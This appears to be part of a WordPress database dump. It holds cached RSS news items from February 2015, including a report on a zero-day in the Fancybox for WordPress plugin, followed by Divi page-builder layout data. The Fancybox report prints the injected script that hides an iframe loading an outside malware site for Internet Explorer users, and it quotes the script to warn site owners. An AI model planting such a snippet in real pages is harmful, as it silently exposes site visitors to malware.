having to browse through clunky administration screens.</p>\n<p>Thoughtful Comments is compatible with WordPress 4.1 and available from the <a title=\"https://wordpress.org/plugins/thoughtful-comments/\" href=\"https://wordpress.org/plugins/thoughtful-comments/\">WordPress plugin directory</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 18:33:53 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:42;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:78:\"WPTavern: WPWeekly Episode 178 – A Conversation With Frenemy Brian Krogsgard\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:44:\"http://wptavern.com?p=38572&preview_id=38572\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:84:\"http://wptavern.com/wpweekly-episode-178-a-conversation-with-frenemy-brian-krogsgard\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3687:\"<p>In this episode of WordPress Weekly, <a title=\"http://marcuscouch.com/\" href=\"http://marcuscouch.com/\">Marcus Couch</a> and I are joined by the founder of <a title=\"https://poststatus.com/\" href=\"https://poststatus.com/\">PostStatus</a>, Brian Krogsgard. He explains how his experience writing for WPCandy provided the foundation to launch PostStatus. We find out how well the <a title=\"https://poststatus.com/club/\" href=\"https://poststatus.com/club/\">PostStatus club</a> is doing since launching two weeks ago. Last but not least, we discuss whether or not Krogsgard has the right ingredients to be financially successful in the WordPress content business.</p>\n<h2>Stories Discussed:</h2>\n<p><a title=\"http://wptavern.com/envato-stats-tips-for-getting-things-done-and-more-at-pressnomics-3\" href=\"http://wptavern.com/envato-stats-tips-for-getting-things-done-and-more-at-pressnomics-3\">Recap of PressNomics 3</a><br />\n<a title=\"http://wptavern.com/human-made-acquires-australian-based-wordpress-agency-sennza\" href=\"http://wptavern.com/human-made-acquires-australian-based-wordpress-agency-sennza\">Human Made Acquires Australian Based WordPress Agency Sennza</a><br />\n<a title=\"http://wptavern.com/zero-day-vulnerability-discovered-in-fancybox-for-wordpress-plugin\" href=\"http://wptavern.com/zero-day-vulnerability-discovered-in-fancybox-for-wordpress-plugin\">Zero Day Vulnerability Discovered in Fancybox for WordPress Plugin</a><br />\n<a title=\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\" href=\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\">BuddyPress 2.2 Spumoni Released, Featuring New Member Type API</a></p>\n<h2>Plugins Picked By Marcus:</h2>\n<p><a title=\"https://wordpress.org/plugins/user-roles-and-capabilities/\" href=\"https://wordpress.org/plugins/user-roles-and-capabilities/\">User Roles and Capabilities</a> allows you to manage user roles and capabilities. Using this plugin, you can create new roles and delete existing roles.</p>\n<p><a title=\"https://wordpress.org/plugins/wp-style-kit/\" href=\"https://wordpress.org/plugins/wp-style-kit/\">WP Style Kit</a> is a plugin that adds additional features to the Custom Styles section of the Visual Editor. You can add beautiful custom styles such as, additional headlines, custom bullets, circles, quotes, and call out boxes.</p>\n<p><a title=\"https://wordpress.org/plugins/pet-adoption-listings/\" href=\"https://wordpress.org/plugins/pet-adoption-listings/\">Pet Adoption Listings</a> provides two easy ways to display listings of adoptable pets from a shelter&#8217;s profile at Adopt-a-Pet.com via an iframe.</p>\n<p><a title=\"https://wordpress.org/plugins/login-joomla-users/\" href=\"https://wordpress.org/plugins/login-joomla-users/\">Login Joomla Users</a> allows migrated users from Joomla to login to WordPress. Tested on WordPress 4.1 with users migrated from Joomla 2.5.9. After the first successful login, the password field will automatically be hashed by WordPress.</p>\n<h2>WPWeekly Meta:</h2>\n<p><strong>Next Episode:</strong> Wednesday, February 11th 9:30 P.M. Eastern</p>\n<p><strong>Subscribe To WPWeekly Via Itunes: </strong><a href=\"https://itunes.apple.com/us/podcast/wordpress-weekly/id694849738\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via RSS: </strong><a href=\"http://www.wptavern.com/feed/podcast\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via Stitcher Radio: </strong><a href=\"http://www.stitcher.com/podcast/wordpress-weekly-podcast?refid=stpr\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Listen To Episode #178:</strong><br />\n</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 17:33:40 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:43;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:26:\"Matt: Great Doctorow Essay\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44631\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:42:\"http://ma.tt/2015/02/great-doctorow-essay/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:157:\"<p>Cory Doctorow on <a href=\"http://www.wired.com/2014/12/government-computer-security\">How Laws Restricting Tech Actually Expose Us to Greater Harm</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 05:50:00 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:44;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"WPTavern: BuddyPress 2.2 Spumoni Released, Featuring New Member Type API\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=37925\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:81:\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:5548:\"<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/l-and-b.jpg\" rel=\"prettyphoto[37925]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/l-and-b.jpg?resize=1025%2C498\" alt=\"l-and-b\" class=\"aligncenter size-full wp-image-38537\" /></a></p>\n<p>BuddyPress 2.2 &#8220;<a href=\"https://buddypress.org/2015/02/buddypress-2-2-spumoni/\" target=\"_blank\">Spumoni</a>&#8221; was released today. The name pays tribute to<a href=\"http://www.spumonigardens.com/\" target=\"_blank\"> L&amp;B Spumoni Gardens</a>, a 70 year old, family-owned pizza joint in Brooklyn, NY. This release is packed full of features that offer developers more flexibility in extending BuddyPress.</p>\n<h2>New Member Type API</h2>\n<p>BuddyPress 2.2 introduces a basic <a href=\"http://wptavern.com/buddypress-2-2-on-track-to-provide-a-basic-member-type-api\" target=\"_blank\">Member Type API</a> that developers can use to create different user types, i.e. student, teacher, etc. This new API is a huge step forward for building niche social networks on top of WordPress. It makes it possible to restrict content, filter the member directory, assign different permissions, etc., based on different member types.</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/member-types.png\" rel=\"prettyphoto[37925]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/member-types.png?resize=304%2C173\" alt=\"member-types\" class=\"aligncenter size-full wp-image-38546\" /></a></p>\n<p>The API does nothing visible for users in this first iteration but can be utilized to create plugins that register different member types and build out further capabilities from there. Admins will be able to change a user&#8217;s member type, which is currently limited to one, via a new meta box that is added to the community profile screen.</p>\n<h2>Custom Post Type Support Added to the Activity Stream</h2>\n<p>Custom post type support for the activity stream is a major feature that has been <a href=\"https://buddypress.trac.wordpress.org/ticket/3460\" target=\"_blank\">three years in the making</a>. Developers can now add support for their post types to be tracked in the activity stream in the same way that updates appear for regular posts via the blogs component. Adding support for CPTs is as simple as including one line of code:</p>\n<pre class=\"brush: php; light: true; title: ; notranslate\">add_post_type_support( \'book\', \'buddypress-activity\' );</pre>\n<p>Note that this feature isn&#8217;t automatically turned on &#8211; a custom post type must declare support for it. The single line of code will add a generic update that can be further customized via arguments added when registering the post type. Comment support for CPT activity items is also optional.</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2014/12/cpt-activity.png\" rel=\"prettyphoto[37925]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2014/12/cpt-activity.png?resize=1025%2C326\" alt=\"cpt-activity\" class=\"aligncenter size-full wp-image-35302\" /></a></p>\n<p>Custom post types with activity stream support can then be easily sorted via the activity dropdown filters:</p>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/12/activity-dropdown.png\" rel=\"prettyphoto[37925]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/12/activity-dropdown.png?resize=1025%2C366\" alt=\"activity-dropdown\" class=\"aligncenter size-full wp-image-35299\" /></a></p>\n<p>Check out the BuddyPress codex for more information on <a href=\"https://codex.buddypress.org/plugindev/post-types-activities/#adding-the-buddypress-support-and-specific-labels-at-post-type-registration\" target=\"_blank\">how to customize activity attributes</a> when registering a custom post type.</p>\n<p>This release also <a href=\"http://wptavern.com/buddypress-2-2-will-add-support-for-composer\" target=\"_blank\">adds support for Composer</a>. BuddyPress will soon be listed at <a href=\"https://packagist.org/\" target=\"_blank\">Packagist.org</a> now that the official release is out.</p>\n<p>Other notable features and improvements include:</p>\n<ul>\n<li>Several new query API’s (based on WordPress improvements) for retrieving more specific results</li>\n<li>Continued cache enhancements, particularly for multi-site and multi-network WordPress configurations</li>\n<li>Message Meta – Private message conversations are now more flexible with an additional metadata table</li>\n<li>The Activity and Extended Profiles components now support advanced conditional logic, like nested clauses and multiple operators — A AND ( B OR C ). The Activity component now also supports querying by multiple scopes.</li>\n<li>Mentions: Better support for responsive devices</li>\n<li>Improved UI for managing messages, new “Read/Unread” links for each message thread, better bulk message management</li>\n<li>Numerous improvements to the Legacy template pack</li>\n<li>Increased coverage of inline code documentation, actions, and filters</li>\n</ul>\n<p>Check out the full list of improvements on the <a href=\"https://codex.buddypress.org/releases/version-2-2/\" target=\"_blank\">2.2 version page</a> in the codex.</p>\n<p>BuddyPress 2.2 is the result of several months of hard work from 44 contributors. The new features in this release enable the plugin to be more flexible for building niche social networks with different user types and custom content types integrated into the activity stream. The official BuddyPress 2.2 update is now available via the WordPress admin.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 00:26:28 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:45;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:45:\"Post Status: WordPress lead developer changes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:30:\"https://poststatus.com/?p=8385\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:56:\"https://poststatus.com/wordpress-lead-developer-changes/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4131:\"<p>Yesterday, <a href=\"https://make.wordpress.org/core/2015/02/03/new-lead-developers-helen-and-dion/\">it was announced</a> that Helen Hou-Sandí and Dion Hulse are now lead developers of the WordPress project. That announcement, we learned today, is tied to another: that Peter Westwood and Ryan Boren <a href=\"https://make.wordpress.org/core/2015/02/04/new-chapters-for-ryan-and-westi/\">are stepping down</a> from their lead developer roles.</p>\n<p>Peter and Ryan have been enormously influential on the project.</p>\n<p>Ryan Boren has been committing to the WordPress codebase for over 11 years (aka: since the beginning), and has more commits &#8212; 7,961 according to Open Hub &#8212; than anyone. Peter has been committing for 7 years, and has 1,261 commits to his name. However, a lead developer&#8217;s influence goes well beyond commit; they are the guardians of the project.</p>\n<p>Both Ryan and Peter have been more quiet lately than years prior. Andrew Nacin describes it like so:</p>\n<blockquote><p>For some time now, Ryan and Peter have avoided weighing in on technical matters. Very simply, when you aren’t able to be active in development, you know you’re not up to speed, and you realize your words shouldn’t carry the weight that they do. Being able to make this <a href=\"http://nacin.com/2014/02/07/how-wordpress-chooses-committers/\">judgment</a> is one of the things that makes both of them such great leaders.</p></blockquote>\n<p>Peter will step into an emeritus role:</p>\n<blockquote><p>Peter will be moving into a dormant/inactive/emeritus status. We hope to have him back when his life and work allows. In the meantime, you may see him committing a bug fix here and there, as he is wont to do.</p></blockquote>\n<p>Ryan has shifted his focus, however, and is concentrating fully on UX in WordPress:</p>\n<blockquote><p>Ryan has been focusing all of his energy on improving UX for more than a year, especially for mobile and touch devices, and especially for workflows like media management. So I’m pleased to say he’ll continue to do that:<strong>Ryan will be spearheading UX for WordPress in 2015.</strong> It’s been a while since we’ve had someone truly focusing on just UX, so this is really exciting.</p></blockquote>\n<p>With this shift, Helen and Dion are stepping into official roles to represent their enormous impact on the project over the last several years.</p>\n<p>(Note: this bit of the post will look familiar to Club members)</p>\n<p>Helen works for <a href=\"http://10up.com/\">10up</a>, a WordPress consulting agency, and spends nearly 100% of her time on the WordPress.org project. She <a href=\"https://make.wordpress.org/core/2012/12/18/commit-promotions/\">received commit access</a> in late 2012, at the beginning of the 3.6 release cycle. You can follow <a href=\"https://twitter.com/helenhousandi\">@helenhousandi</a> on Twitter, and <a href=\"http://helenhousandi.com/\">visit her website</a> as well.</p>\n<p>These are the first additions to the list of lead developers for WordPress since Andrew Nacin became a lead in 2012, before the WordPress 3.5 release.</p>\n<p>I asked Andrew Nacin how these decisions are made, and he responded with the following:</p>\n<blockquote>\n<p class=\"p1\"><span class=\"s1\">After each release, the lead developers review the current list of guest committers, potentially propose new committers, etc. Any proposals are finalized through consensus.</span></p>\n</blockquote>\n<p>This is a big honor and an uncommon occurrence for the WordPress project. Major congratulations are due to both Helen and Dion.</p>\n<p>Also, we all owe Peter and Ryan a huge round of applause and thanks for their contributions &#8212; past, present, and future &#8212; to the WordPress project.</p>\n<p>The WordPress.org <a href=\"https://wordpress.org/about\">About</a> page maintains the list of lead developers for WordPress, and with yesterday and today&#8217;s announcement, we&#8217;re back to five Lead Developers plus Matt Mullenweg as Project Lead. The website now reflects these changes, with fancy (and totally serious) titles for the new lead developers.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 04 Feb 2015 22:52:18 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:15:\"Brian Krogsgard\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:46;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:76:\"WPTavern: Zero Day Vulnerability Discovered in Fancybox for WordPress Plugin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38478\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:86:\"http://wptavern.com/zero-day-vulnerability-discovered-in-fancybox-for-wordpress-plugin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3172:\"<p>Four hours ago, users seeking support on WordPress.org <a href=\"https://wordpress.org/support/topic/possible-malware-2?replies=41\" target=\"_blank\">reported malware injected into their sites</a> from an unknown source. The vulnerability allows for an iframe to be injected, redirecting to a &#8220;203koko&#8221; site.</p>\n<pre class=\"brush: xml; light: true; title: ; notranslate\">\n&lt;script&gt;/*&lt;![CDATA[*/if(navigator.userAgent.match(/msie/i)){document.write(\' &lt;div style=\"position:absolute;left:-2000px;width:2000px\"&gt;&lt;iframe src=\"http://203koko.eu/hjnfh/ipframe2.php\" width=\"20\" height=\"30\" &gt;&lt;/iframe&gt;&lt;/div&gt;\');}/*]]&gt;*/&lt;/script&gt;\n</pre>\n<p>After working together to determine the plugins they have in common, users identified <a href=\"https://wordpress.org/plugins/fancybox-for-wordpress/\" target=\"_blank\">Fancybox for WordPress</a> as the culprit. It has since been temporarily removed from the WordPress Plugins Directory, as it hasn&#8217;t been updated for two years and poses a security threat to users. The plugin has received more than half a million downloads and is likely in use on thousands of WordPress sites.</p>\n<p><a href=\"https://kovshenin.com/\" target=\"_blank\">Konstantin Kovshenin</a> and <a href=\"http://codeseekah.com/\" target=\"_blank\">Gennady Kovshenin</a> worked together to analyze sites from affected users to confirm the vulnerability. There is currently no patch, so users of the plugin are advised to turn it off immediately.</p>\n<blockquote class=\"twitter-tweet\" width=\"550\"><p>If you are running Fancybox for <a href=\"https://twitter.com/hashtag/WordPress?src=hash\">#WordPress</a> turn it off now! It contains a persistent XSS <a href=\"https://twitter.com/hashtag/vulnerability?src=hash\">#vulnerability</a> <a href=\"https://twitter.com/hashtag/security?src=hash\">#security</a> <a href=\"https://twitter.com/hashtag/infosec?src=hash\">#infosec</a></p>\n<p>&mdash; Gennady Kovshenin (@soulseekah) <a href=\"https://twitter.com/soulseekah/status/563054468183654400\">February 4, 2015</a></p></blockquote>\n<p></p>\n<p>Analysts at Sucuri have <a href=\"http://blog.sucuri.net/2015/02/zero-day-in-the-fancybox-for-wordpress-plugin.html\" target=\"_blank\">confirmed via Website Firewall logs</a> that the vulnerability is being actively exploited:</p>\n<blockquote><p>After some analysis, we can confirm that this plugin has a serious vulnerability that allows for malware (or any random script/content) to be added to the vulnerable site. Because it is currently unpatched, we will not disclose more information.</p>\n<p>What makes things worse, is that it’s being actively exploited in the wild, leading to many compromised websites.</p></blockquote>\n<p>Users who have this plugin installed on their sites have no other option than to disable it, as no patch is available yet. The plugin&#8217;s author, <a href=\"https://twitter.com/moskis\" target=\"_blank\">José Pardilla</a>, is aware of the issue and <a href=\"https://wordpress.org/support/topic/not-safe-2?replies=3\" target=\"_blank\">responded to an affected user</a> five hours ago in the plugin&#8217;s forum on WordPress.org. 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Welcome To My Online Portfolio\" /][et_pb_slide background_color=\"#f84b48\" alignment=\"center\" background_layout=\"dark\" heading=\"Project Title\" button_text=\"View Project\" /][et_pb_slide background_color=\"#23a1f5\" alignment=\"center\" background_layout=\"dark\" heading=\"Project Title\" button_text=\"View Project\" /][et_pb_slide background_color=\"#27c8b8\" alignment=\"center\" background_layout=\"dark\" heading=\"Project Title\" button_text=\"View Project\" /][/et_pb_fullwidth_slider][et_pb_fullwidth_portfolio admin_label=\"Fullwidth Portfolio\" fullwidth=\"on\" show_title=\"on\" show_date=\"on\" background_layout=\"dark\" auto=\"off\" include_categories=\"62,65,72,69,16\" /][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#f7f7f7\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"1_2\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/d2-placeholder-510px.jpg\" show_in_lightbox=\"off\" url_new_window=\"off\" animation=\"left\" /][/et_pb_column][et_pb_column type=\"1_2\"][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"40\" /][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#ffffff\" use_circle=\"on\" circle_color=\"#2ea3f2\" use_circle_border=\"off\" circle_border_color=\"#2ea3f2\" icon_placement=\"left\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\"]Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc aliquam justo et nibh venenatis aliquet.[/et_pb_blurb][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#ffffff\" use_circle=\"on\" circle_color=\"#2ea3f2\" use_circle_border=\"off\" circle_border_color=\"#2ea3f2\" icon_placement=\"left\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\"]Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc aliquam justo et nibh venenatis aliquet.[/et_pb_blurb][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#ffffff\" use_circle=\"on\" circle_color=\"#2ea3f2\" use_circle_border=\"off\" circle_border_color=\"#2ea3f2\" icon_placement=\"left\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\"]Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc aliquam justo et nibh venenatis aliquet.[/et_pb_blurb][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_4\"][et_pb_number_counter admin_label=\"Number Counter\" title=\"Coding Languages\" number=\"7\" percent_sign=\"off\" background_layout=\"light\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_number_counter admin_label=\"Number Counter\" title=\"Loyal Clients\" number=\"65\" percent_sign=\"off\" background_layout=\"light\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_number_counter admin_label=\"Number Counter\" title=\"International Awards\" number=\"12\" percent_sign=\"off\" background_layout=\"light\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_number_counter admin_label=\"Number Counter\" title=\"Years of Experience\" number=\"10\" percent_sign=\"off\" background_layout=\"light\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#27c8b8\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_cta admin_label=\"Call To Action\" title=\"View My Full Portfolio\" button_url=\"#\" button_text=\"Enter\" background_color=\"#2caaca\" use_background_color=\"off\" background_layout=\"dark\" text_orientation=\"center\"]Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue nunc at nisl. Cras venenatis ac lorema ac tincidunt.[/et_pb_cta][/et_pb_column][/et_pb_row][/et_pb_section]','Homepage Portfolio','','publish','open','open','','homepage-portfolio','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=7',0,'et_pb_layout','',0),(8,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section fullwidth=\"on\" specialty=\"off\"][et_pb_fullwidth_slider admin_label=\"Fullwidth Slider\" show_arrows=\"on\" show_pagination=\"on\" auto=\"off\" parallax=\"off\"][et_pb_slide heading=\"Our Company\" button_text=\"Features\" button_link=\"http://elegantthemes.com/preview/Divi2/features/\" background_color=\"#8d1bf4\" alignment=\"center\" background_layout=\"dark\" image=\"http://elegantthemes.com/preview/Divi2/wp-content/uploads/2014/05/d2-300px.png\" background_image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\"]Quisque eleifend orci sit amet est semper, iaculis tempor mi volutpat. Phasellus consectetur justo sed tristique molestie. Cras lectus quam, vehicula eu dictum a, sollicitudin id velit.[/et_pb_slide][et_pb_slide heading=\"Slide Title\" button_text=\"Learn More\" button_link=\"#\" background_color=\"#f84c48\" alignment=\"center\" background_layout=\"dark\"]Quisque eleifend orci sit amet est semper, iaculis tempor mi volutpat. Phasellus consectetur justo sed tristique molestie. Cras lectus quam, vehicula eu dictum a, sollicitudin id velit.[/et_pb_slide][/et_pb_fullwidth_slider][/et_pb_section][et_pb_section][et_pb_row][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum\" url_new_window=\"off\" use_icon=\"off\" icon_color=\"#2ea3f2\" use_circle=\"off\" circle_color=\"#2ea3f2\" use_circle_border=\"off\" circle_border_color=\"#2ea3f2\" 